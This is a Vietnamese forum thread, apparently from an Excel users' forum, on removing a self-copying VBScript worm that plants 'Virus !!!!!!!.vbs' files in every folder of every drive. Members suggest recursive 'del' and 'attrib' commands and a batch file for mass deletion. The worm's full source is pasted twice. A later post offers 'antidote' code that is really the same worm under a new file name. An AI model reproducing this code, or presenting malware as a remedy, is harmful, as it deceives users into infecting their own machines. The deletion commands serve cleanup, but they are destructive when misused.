Cách diệt Virus !!!!!!!.vbs nhanh nhất

hieuxd · 3/4/14

Nhờ các thầy và thành viên Gpe chỉ giúp mình cách diệt Virus !!!!!!!.vbs cho nhanh
Đơn giản là xoá tất cả các File có phần đuôi là Virus !!!!!!!.vbs
Hôm qua máy tính của em có bị nhiễm con Virut này ngồi xoá diệt bằng tay mất hơn 1 tiếng đồng hồ

Đặc điểm lây nhiễm: trong các ổ đĩa và thư mục đều xuất hiện 1 file [tên thư mục]Virus!!!!.vbs. Ví dụ thư mục
ChuyenDeExcel Lan 7 trong ổ D thì trong thư mục Film xuất hiện file ChuyenDeExcel Lan 7--- Virus !!!!!!!.vbs.
Hôm qua trước khi diệt em có nhốt lại một em để dành tặng cho một số thành viên của GPe làm thí nghiệm
Em xin báo trước là BKav có bản quyền của em cập nhật ngày 01-04-2014 chưa diệt được, thấy báo gửi mẫu nhưng chưa thấy báo lại
Dưới là File đính kèm con Virut em nén lại
Con này chưa kích đúp vào nó thì không sợ lắm

Cá ngừ F1 · 3/4/14

e chả dám click đâu ạh...

ndu96081631 · 3/4/14

hieuxd đã viết:
Con này chưa kích đúp vào nó thì không sợ lắm

Bạn click phải vào file vbs ấy, chọn Edit xem bên trong viết cái gì

hieuxd · 3/4/14

ndu96081631 đã viết:
Bạn click phải vào file vbs ấy, chọn Edit xem bên trong viết cái gì

Theo lời thầy em Edit thấy bên trong có Code
'Bien phap thi cong thau bo do 16.10 !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fs

penTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub

siwtom · 3/4/14

hieuxd đã viết:
Nhờ các thầy và thành viên Gpe chỉ giúp mình cách diệt Virus !!!!!!!.vbs cho nhanh
Đơn giản là xoá tất cả các File có phần đuôi là Virus !!!!!!!.vbs
Hôm qua máy tính của em có bị nhiễm con Virut này ngồi xoá diệt bằng tay mất hơn 1 tiếng đồng hồ

Đặc điểm lây nhiễm: trong các ổ đĩa và thư mục đều xuất hiện 1 file [tên thư mục]Virus!!!!.vbs. Ví dụ thư mục
ChuyenDeExcel Lan 7 trong ổ D thì trong thư mục Film xuất hiện file ChuyenDeExcel Lan 7--- Virus !!!!!!!.vbs.
Hôm qua trước khi diệt em có nhốt lại một em để dành tặng cho một số thành viên của GPe làm thí nghiệm
Em xin báo trước là BKav có bản quyền của em cập nhật ngày 01-04-2014 chưa diệt được, thấy báo gửi mẫu nhưng chưa thấy báo lại
Dưới là File đính kèm con Virut em nén lại
Con này chưa kích đúp vào nó thì không sợ lắm

Thì dùng công cụ tìm kiếm của system, tìm "*Virus !!!!!!!.vbs" rồi xóa thôi.

hieuxd · 4/4/14

siwtom đã viết:
Thì dùng công cụ tìm kiếm của system, tìm "*Virus !!!!!!!.vbs" rồi xóa thôi.

Đúng là em đã dùng cách tìm kiếm theo cách của thầy.
Em tìm từng ổ đĩa có phần đuôi là *Virus !!!!!!!.vbs rồi xóa "Search"
Khi tìm kiếm kết thúc em nhấn Ctrl+A rồi Shift+Delete
Nhưng tất cả các File ấy không bị xóa hẳn mà mặc nhiên vẫn chui vào thùng rác lại phải dùng công cụ dọn rác hoặc vào thùng rác xóa lần nữa
Có nhiều File khi xóa trên Win không xóa được em lại phải vào Dos để xóa tiếp
Theo cách tìm kiếm để xóa ở máy em phải mất hơn 1 tiếng đồng hồ mới xóa hết
Thầy có thể chỉ chi tiết cách tìm kiếm của thầy hơn giúp em với
Vì em mới sử lý ở máy tính của em, Trong công ty còn rất nhiều máy chưa sử lý xóa các file kia

ndu96081631 · 4/4/14

hieuxd đã viết:
Thầy có thể chỉ chi tiết cách tìm kiếm của thầy hơn giúp em với
Vì em mới sử lý ở máy tính của em, Trong công ty còn rất nhiều máy chưa sử lý xóa các file kia

Viết 1 code VB hoặc VBA hoặc VBScript hoặc DOS... để xoá nó thôi (Có thể bắt chước code copy như ở trên và sửa thành xoá file cũng được)
Theo code trên thì nó cũng chỉ làm cái trò nhân bản chơi chơi vậy thôi chứ cũng không có gì gọi là quá nguy hại

hieuxd · 4/4/14

Vâng con Virut này search trên mạng tên của nó thì thấy nó xuất hiện đã khá nâu ít nhất cũng phải 5 năm trước đây
http://www.vn-zoom.com/f230/may-tinh-xuat-hien-nhieu-file-virus-vbs-203701.html
Em ngại nó xuất hiện phiên bản mới
Bên Web Vn-Zoom có nói cách diệt nhưng em không tin tưởng lắm
Nhờ thầy Ndu cho 1 code VBA sử lý nó với
Em có biết qua về VBA nhưng chưa đủ khả năng để viết code

ndu96081631 · 4/4/14

hieuxd đã viết:
Nhờ thầy Ndu cho 1 code VBA sử lý nó với
Em có biết qua về VBA nhưng chưa đủ khả năng để viết code

Viết code để xóa cũng không khó gì và chắc chắn đến 90% là tôi sẽ nhúng lệnh DOS vào VBA (nhưng mà... làm biếng quá)
Thay vì vậy sao bạn không thử xóa trực tiếp trên cửa số DOS? Chẳng hạn:
- Bấm Start, chọn Run và gõ lệnh CMD
- Trong cửa sổ CMD, gõ lệnh: Del D:\*Virus?!!!!!!!.vbs /S
(Màu đỏ là ký tự ổ đĩa)
Máy bạn có 3 ổ đĩa, chỉ cần gõ 3 lần lệnh trên là xong

hieuxd · 4/4/14

ndu96081631 đã viết:
Viết code để xóa cũng không khó gì và chắc chắn đến 90% là tôi sẽ nhúng lệnh DOS vào VBA (nhưng mà... làm biếng quá)
Thay vì vậy sao bạn không thử xóa trực tiếp trên cửa số DOS? Chẳng hạn:
- Bấm Start, chọn Run và gõ lệnh CMD
- Trong cửa sổ CMD, gõ lệnh: Del D:\*Virus?!!!!!!!.vbs /S
(Màu đỏ là ký tự ổ đĩa)
Máy bạn có 3 ổ đĩa, chỉ cần gõ 3 lần lệnh trên là xong

Cách này của thầy chỉ cho xóa file thấy máy chạy êm
Cách serach trên Win rồi Ctrl+A sau đó Shift+delete nếu Ổ đĩa nhiều thu mục và phát sinh nhiều file virus thì máy sẽ bị treo
Tạm thời em dùng cách của thầy vậy. Không trông chờ vào phần mềm diệt Virus được

ndu96081631 · 4/4/14

hieuxd đã viết:
Cách này của thầy chỉ cho xóa file thấy máy chạy êm
Cách serach trên Win rồi Ctrl+A sau đó Shift+delete nếu Ổ đĩa nhiều thu mục và phát sinh nhiều file virus thì máy sẽ bị treo
Tạm thời em dùng cách của thầy vậy. Không trông chờ vào phần mềm diệt Virus được

Nếu dùng được, vậy thử viết nó thành code VBA xem. Hoặc chí ít cũng có thể tạo 1 file .BAT để tự động hóa hơn (bấm nút 1 phát là code tự làm)
Dễ ồm hà
Ẹc... Ẹc...

hieuxd · 5/4/14

ndu96081631 đã viết:
Nếu dùng được, vậy thử viết nó thành code VBA xem. Hoặc chí ít cũng có thể tạo 1 file .BAT để tự động hóa hơn (bấm nút 1 phát là code tự làm)
Dễ ồm hà
Ẹc... Ẹc...

Viết được code tự động xóa file virus VBS là rất tốt nhưng thầy ơi em cũng đang rất no sợ người có ý đồ sấu lợi dụng Code để xóa những file khác thầy a.
Giả sử họ lợi dụng code để xóa cái duôi xls hay xlsm của em thì toi
Em thấy xóa bằng lệnh dos nó không cần báo hay hỏi có cần xóa không

ndu96081631 · 5/4/14

hieuxd đã viết:
Viết được code tự động xóa file virus VBS là rất tốt nhưng thầy ơi em cũng đang rất no sợ người có ý đồ sấu lợi dụng Code để xóa những file khác thầy a.
Giả sử họ lợi dụng code để xóa cái duôi xls hay xlsm của em thì toi
Em thấy xóa bằng lệnh dos nó không cần báo hay hỏi có cần xóa không

Nếu nói là SỢ thì trên đời này có nhiều chuyện phải SỢ lắm! Bạn lo làm gì cho mệt
Muốn không ai biết, bạn cho file chứa code vào USB của bạn đi, cần thì lấy ra xài (ai biết)

Kiều Mạnh · 5/4/14

hieuxd đã viết:
Nhờ các thầy và thành viên Gpe chỉ giúp mình cách diệt Virus !!!!!!!.vbs cho nhanh
Đơn giản là xoá tất cả các File có phần đuôi là Virus !!!!!!!.vbs
Hôm qua máy tính của em có bị nhiễm con Virut này ngồi xoá diệt bằng tay mất hơn 1 tiếng đồng hồ

Đặc điểm lây nhiễm: trong các ổ đĩa và thư mục đều xuất hiện 1 file [tên thư mục]Virus!!!!.vbs. Ví dụ thư mục
ChuyenDeExcel Lan 7 trong ổ D thì trong thư mục Film xuất hiện file ChuyenDeExcel Lan 7--- Virus !!!!!!!.vbs.
Hôm qua trước khi diệt em có nhốt lại một em để dành tặng cho một số thành viên của GPe làm thí nghiệm
Em xin báo trước là BKav có bản quyền của em cập nhật ngày 01-04-2014 chưa diệt được, thấy báo gửi mẫu nhưng chưa thấy báo lại
Dưới là File đính kèm con Virut em nén lại
Con này chưa kích đúp vào nó thì không sợ lắm

mình tải file virut của bạn về thử với chương trình diệt virut Norton test thử xem sao thì thấy Norton diệt bay con virut đó liền.còn Bkav ư cùi bắp lắm. trước đây mình cũng đã sử dụng nhiều khi có virut mà nó cũng đâu có xử lý được. bạn nên tải norton bản dùng thử về sử dụng chạy khoãng 1-2 tuần gì đó xong gỡ ra rối tải Kasperky về sử dụng tiếp bảo đảm máy của bạn sạch virut liền

vistaab · 6/4/14

ndu96081631 đã viết:
Viết code để xóa cũng không khó gì và chắc chắn đến 90% là tôi sẽ nhúng lệnh DOS vào VBA (nhưng mà... làm biếng quá)
Thay vì vậy sao bạn không thử xóa trực tiếp trên cửa số DOS? Chẳng hạn:
- Bấm Start, chọn Run và gõ lệnh CMD
- Trong cửa sổ CMD, gõ lệnh: Del D:\*Virus?!!!!!!!.vbs /S
(Màu đỏ là ký tự ổ đĩa)
Máy bạn có 3 ổ đĩa, chỉ cần gõ 3 lần lệnh trên là xong

Em xin góp thêm 1 chút.
Trước khi gõ lệnh del, gõ lệnh: attrib -s -h D:\*Virus?!!!!!!!.vbs /S /D
Mục đích: hiện cái file virus ẩn để xóa (vì biết đâu có 1 file virus vbs nào đó bằng 1 cách nào đó còn đang tàng hình mà ta không hay biết)

siwtom · 7/4/14

hieuxd đã viết:
Viết được code tự động xóa file virus VBS là rất tốt nhưng thầy ơi em cũng đang rất no sợ người có ý đồ sấu lợi dụng Code để xóa những file khác thầy a.
Giả sử họ lợi dụng code để xóa cái duôi xls hay xlsm của em thì toi
Em thấy xóa bằng lệnh dos nó không cần báo hay hỏi có cần xóa không

Bạn làm như sau thì kẻ gian muốn chơi đểu nhưng không rành thì cũng không biết gọi lệnh thế nào.
Tức là kích hoạt BAT không có giá trị mà phải biết là cần truyền tham số nữa. Mà cũng không phải truyền bừa được. Thông số đầu là tên tập tin, tiếp theo là tên các drive (c, d, e, ...)
-------------
1. Mở notepad --> dán nội dung sau vào notepad và ghi ví dụ với tên là c:\mydel.bat

Mã:

@ECHO OFF
FOR %%A IN (%2 %3 %4 %5 %6 %7 %8 %9) DO IF NOT "%%A" == "" attrib -r -s -h -a %%A:\*%1 /s
FOR %%A IN (%2 %3 %4 %5 %6 %7 %8 %9) DO IF NOT "%%A" == "" del /q /s %%A:\*%1

2. Ở dòng lệnh nhập

Mã:

c:\mydel <tên tập tin> a b c d e f ...

vd. 

c:\mydel Virus!!!!!!!.vbs c d

Tức trước hết là tên tập tin cần xóa vd. Virus!!!!!!!.vbs, tiếp theo là tên các drive vd. c d. Có dấu cách giữa các thông số.

Có thể nhập nhiều nhất là 9 thông số: tên tập tin và 8 drive

3. Cũng có thể tạo shortcut có lệnh vd. là

Mã:

C:\mydel.bat Virus!!!!!!!.vbs c d

Nhưng lúc này shortcut đó chỉ dùng cho tên cụ thể, drive cụ thể, tức xác lập cứng nhắc.

Nhập trong dòng lện thì có thể truyền thông số linh động và thực hiện nhiều lần liên tiếp cho những tên khác nhau.

dothu_8129 · 27/9/16

Cái CODE này nó tự sao bản mình lên gây hại máy tính thui> làm đầy dung lượng đĩa

;;;;;;;;;;;

hieuxd đã viết:
Theo lời thầy em Edit thấy bên trong có Code
'Bien phap thi cong thau bo do 16.10 !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub

dothu_8129 · 27/9/16

dothu_8129 đã viết:

Code giải cho bạn:^_^
'Thuoc Gi?i !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fs

penTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus Boss!!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus Boss!!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub

Cách diệt Virus !!!!!!!.vbs nhanh nhất

Thành viên tích cực

File đính kèm

( ͡° ͜ʖ ͡°)

Huyền thoại GPE

Thành viên tích cực

Thành viên gắn bó

Thành viên tích cực

Huyền thoại GPE

Thành viên tích cực

Huyền thoại GPE

Thành viên tích cực

Huyền thoại GPE

Thành viên tích cực

Huyền thoại GPE

I don't program, I beat code into submission!!!

Thành viên chính thức

Thành viên gắn bó

Thành viên mới

Thành viên mới